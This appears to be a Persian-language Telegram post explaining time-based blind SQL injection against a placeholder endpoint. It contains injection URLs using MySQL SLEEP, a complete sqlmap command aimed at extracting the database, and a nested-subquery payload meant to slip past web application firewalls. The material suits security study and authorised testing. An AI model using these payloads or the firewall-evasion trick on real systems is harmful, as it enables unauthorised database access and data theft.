وقتی یک اپلیکیشن خطا یا دادهای را به شما نشان نمیدهد، باید از آن یک سوال بپرسید و مدت زمانی که طول میکشد تا پاسخ دهد را اندازهگیری کنید. این تکنیک
Time-based Blind SQLi نامیده میشود.یک دستور ساده
SLEEP در MySQL :https://api.example.com/user.php?id=123' AND SLEEP(5)--
بله صفحه دقیقاً پنج ثانیه معلق ماند و سپس پاسخ داد. 😎! برای اطمینان کامل، آن را با یک کوئری نادرست نیز تأیید کنید :
https://api.example.com/user.php?id=123' AND SLEEP(0)--
صفحه فوراً بارگذاری شد. اپلیکیشن آسیبپذیر و منتظر دستور است .
۴. تست خودکار با Sqlmap
تأیید دستی رضایتبخش است، اما برای ترسیم گستره کامل آسیبپذیری، به تست خودکار نیاز است. از ابزار
sqlmap استفاده کنیدsqlmap -u "https://api.example.com/user.php?id=123" --technique=T --time-sec=10 --batch
*
-u: آدرس URL هدف. *
--technique=T: مشخص کردن استفاده انحصاری از تکنیک Time-based. *
--time-sec=10: وادار کردن پایگاه داده به تعلیق به مدت ۱۰ ثانیه (برای شبکههای کند قابل اطمینانتر است). *
--batch: اجرا در حالت غیرتعاملی (non-interactive). ۔Sqlmap کار را به دست گرفت، آسیبپذیری تأیید شد و در نهایت نام پایگاه داده را استخراج کرد. این یک یافته تمیز و اثباتشده است.۵. هنر دور زدن WAF (WAF Bypass)
کوئریهای ساده اولیه مسدود شدند. پس چگونه payload حاوی
SLEEP از فایروال عبور کرد؟ دور زدن WAF اغلب به مبهمسازی خلاصه میشود. بسیاری از WAFها با الگوهای رایج مانند SLEEP() یا UNION فعال میشوند. برای دور زدن آنها، اغلب میتوانید از سینتکسهای جایگزین یا کامنتها برای شکستن امضای شناختهشده payload استفاده کنید. برای مثال، در MySQL به جای SLEEP(5) ، میتوانید امتحان کنید:AND (SELECT * FROM (SELECT(SLEEP(5)))a)
این ساختار تودرتو، بسیاری از WAFها که به دنبال الگوی ساده
SLEEP(X) هستند را فریب میدهد.Please open Telegram to view this post
VIEW IN TELEGRAM